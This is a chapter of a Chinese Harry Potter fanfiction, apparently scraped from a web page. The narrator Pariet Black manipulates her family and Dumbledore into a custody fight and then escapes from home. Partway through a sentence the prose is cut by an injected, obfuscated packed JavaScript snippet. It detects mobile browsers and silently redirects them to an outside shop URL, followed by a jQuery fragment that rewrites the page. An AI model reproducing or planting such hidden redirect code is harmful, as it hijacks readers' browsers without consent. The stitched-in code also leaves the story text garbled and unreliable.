63.离家出走

作品:《[HP] 虚拟构建游戏

    我最近过得不好。


    伴随年纪的增长,魔力越发膨胀。在跟旁白商议之后,我依次换掉的双眼、手臂和腿,如今已是换无可换,再这么进行下去,我们只能进行一场外科手术了。


    仅用来做容器存在的感官令我对于痛觉越来越迟钝;与此同时,我的魔力更到了一种惊人的程度。我在想,只要我愿意,或许某个小国——大城市将迎来一场灭世之灾。


    旁白认为,我们应该再感染一些生物,创造它们,给予它们更加强大的力量来分摊□□上的痛苦。


    为此,我创造一些异兽运往美国,让莱昂尼达斯帮我养着。后来,他写信告诉我,尤瑟夫们十分思念我,希望我日后定居美国


    ——或看在“无上”的份上。


    我不知道他指的“无上”是什么,最近几年我总能收到他和一些看上去像精神病人写的信。他们有些用英文,有些用他国文字。


    他们的信纸里总是会出现“无上”、“永恒”、“上上善”一类的怪词。那些疯子还喜欢寄奇异的干尸或者药草给我,我收到信有时候心里一阵膈应。


    我让莱昂尼达斯解释。他对我说,他在美国给我准备了一份礼物。


    糟糕的是,这封信被沃尔布加发现了。我对她说,这个是杂物堆里的那个人寄过来的,我不认识他。她像是相信我,但是对我的看管越发严格。


    在我十六岁的时候,我的兄弟西里斯·布莱克终于与家族决裂,沃尔布加在挂毯上烧掉他的名字——就像对安多米达那样;同年,我发现弟弟雷古勒斯似乎决定效忠里德尔。


    家族对此没有什么意见,他们不反对,或者说,不在乎。


    “只要‘布莱克’还在。”我的父亲说。


    “还有派瑞特陪在我们身边呢。”母亲说,她掐着我的手,“派瑞特哪里都不去。”


    我们这一辈最终在这一年走在三岔路口,互相道别。


    我挥开妈妈的手,迫切希望获得合法身份后,离开英国。为此,我试图与她进行商议。我说:“妈妈,英国很快就要打仗了。”


    她和父亲吓了一跳,问我:“你为什么会这么觉得?派瑞特,邓布利多和神秘人都还活着呢。”


    “正是因为他们都活着,所以才要打仗。”我说。


    “不,不可能打仗了。”


    他们把我关起来,又往霍格沃茨写信。我什么也没做,就坐在沙发上看着他们,突然开始叹气。


    “你们那么害怕我,为什么不把我赶出去呢?”


    “派瑞特?”我的母亲张张嘴,最后只叫出我的名字。我朝她笑了一下,转身上楼。整个十六岁,我都没有再走出那栋楼。


    邓布利多很关注我的情况,我就告诉他,我怕是不太好。魔力胀得我全身都疼,怕是活不长了。这件事我没有告诉任何人,要求他也别说出去。我最后的愿望是回到北爱尔兰的奎格农场——那个我第一次获得“人”的身份的地方。


    教授劝我,圣芒戈总是有办法的。


    我告诉他,不太行,我的父母、姐姐姐夫们都在神秘人——汤姆·里德尔手上攥着,我不能有一丝暴露的风险。


    我说:“教授,我长大了,原来做人是一件这个困苦又复杂的事情。”


    他多次上门,最后都被沃尔布加打发了。


    最后,邓布利多试图走法律途径,把这件事闹大来救我。他跟最近如日中天的克劳奇联手,想通过诉讼剥夺我的父母的抚养权。


    旁白说,这一下,他会意识到纯血会怎么痛击他的世界。


    在‘派瑞特·布莱克的囚禁案’里,原告阿不思·邓布利多诬告布莱克夫妇囚禁他们患病卧床的女儿,最后被陪审团逐出法庭。


    因为布莱克夫妇从未限制过我与旁人通信的自由。我是自愿不离开布莱克家的,因为我‘生病了’。


    出示信件的人是我的堂姐贝拉特里克·莱斯特兰奇和纳西莎·马尔福,她们同时也能作证我卧病在床。


    邓布利多安慰我,让我不要对他失望。他以名誉起誓一定会带我正当地离开布莱克家。


    -你现在快真的要把自己关起来了。


    旁白说,


    -为什么要闹到这么大?


    ‘我只是想看看,这些人会怎么站队。’我对旁白说,‘邓布利多是个好人,但是他的手段太光明磊落了;我的父母和堂姐们对我也很好,但是他们是帮不了我的。’


    我盯着窗户,轻声解释,‘但是我就是要让邓布利多去闹,我们需要一个合法的身份。我们当然可以逃走,但是,如果我们不明不白地走了,就是离家出走的‘坏孩子’,和西里斯一样。’


    只是西里斯走了就走了,沃尔布加把他赶出去;我要是走了那么就会有一群人追赶我,把我抓回来。


    所以,我要做一个一部分人心里的受害者,一部分人心里的叛逆小孩。就像在格林德沃统治时期那样,我当然会在一部分人心底留下好名声,找到下一个莱昂尼达斯这样的好表哥为我鞍前马后。


    我不能,也不会再让自己浑浑噩噩地陷入轮回。


    所以我算计了沃尔布加和那些堂姐,也算计邓布利多。我多可怜呀,我有什么错呢?


    妈妈想要舍弃一个,保全一个,激励一个,照我看,三个小孩最后都要丢下她不管。


    因为她要做“上帝”。


    他们在家里种了一颗“知善恶树”,西里斯吃了上面的果实,被赶出去。我也吃了,就被绑起来。只有可怜的小雷古勒斯没有吃,但是他是要跟家里其他人一起去打仗的,打仗就是要死人的。


    我脑中混沌,一时想起玛莎,一时又只是一个劲哀叹。


    此时的思绪无端蔓延出一条直线,洪钟顿响,铛铛铛地在我耳边敲了三下。我在升高,伴随那些充盈我身的魔力,只觉得自己被拉扯,蜷曲,绕成一个圆。


    我好像看见过去无数个自己,那些痕迹被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529263|148310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    反复冲刷、洗涤,在岩石上变成一条又一条灰白色的线。那些线交错覆盖缠绕,死亡时的哀鸣化作刻蚀的声响,太多了,太频繁了,竟让我想起滴滴答答的时钟。


    秒针滴滴答答,过去的抽噎也是如此。我好像本体也变作一盏钟。我一阵晃神,在想,‘僭主’怎么会让我回去呢?


    -派瑞特。


    -派瑞特!


    旁白厉声喊道,打断那些过往的回忆。我的喉咙一阵剧痛,手指连忙捂住声带的部位,才发现那里已经被撕裂扭曲,再慢一步,怕是整个人都要被变成什么奇怪的东西了。


    -派瑞特,好孩子,派瑞特。


    旁白柔声安抚我,


    -别怕,我们安全着,我们一直都是安全的。


    我没有搭理它,捂着喉咙躺回床上。过了好一会,才问:


    ‘我们能安全多久呢?’


    ‘什么时候才是真正的‘成熟’?’


    什么时候就不再是‘孩子’?


    我们谁也不知道,可悲地缩在世界的角落里。我当然憎恨呀,憎恨那些篡权的僭主,恨那些把我从吊死鬼身上扯下来的混蛋,恨他们把我踢到这个世界上,恨我们从一开始就失去;离开那条“河”的机会。


    死亡、恐惧、痛苦


    ——那才是被剥夺了‘母亲’的‘幼崽’真正挣扎着的“河流”


    ——是它们用来折磨我的地方。


    我要消灭它们,消灭这条河,消灭痛苦与死亡。我需要魔力,需要智慧,需要勇气与决心。


    没错,我们开了一个好头。


    -继续当个‘好孩子’,派瑞特,圣诞节快要来了,我还没送你礼物呢。


    旁白的声音也带着颤抖,我忘记了,它究竟是什么时候出现在我身边的。


    这时候,一只猫头鹰在敲我的窗户。我盯着这个黑色的小东西,半晌之后,打开窗。


    楼下站着的是西里斯·布莱克。


    “出来,我带你躲起来。”


    他在信纸上写。


    我盯着他,他一直由我打量着。最近几年他伤透了我的心,当然,我对他来说也是这样。我觉得这种情感是相互的。


    那他为什么还要过来“拯救我”呢?


    -又一个莱昂尼达斯罢了。


    旁白对此人不屑一顾。


    我跃出窗户,他变成一条黑颜色的狗,带着我跑出街道,直到跑到詹姆·波特和他的父母面前。波特太太抱住我,她轻声说:“先跟我们一起走。”


    “不。”我拒绝他们。在西里斯骤然苍白的脸色中拍拍他的肩膀。


    “你......”他蠕动嘴唇。


    “我没想到来的人会是你。”我说,“谢谢你啦,西里斯,算我欠你的。”


    “再见。”


    只是一瞬,我已抵达最近的船港。


    -永别了,克利切和克利切的小饼干。


    旁白假惺惺地抽噎。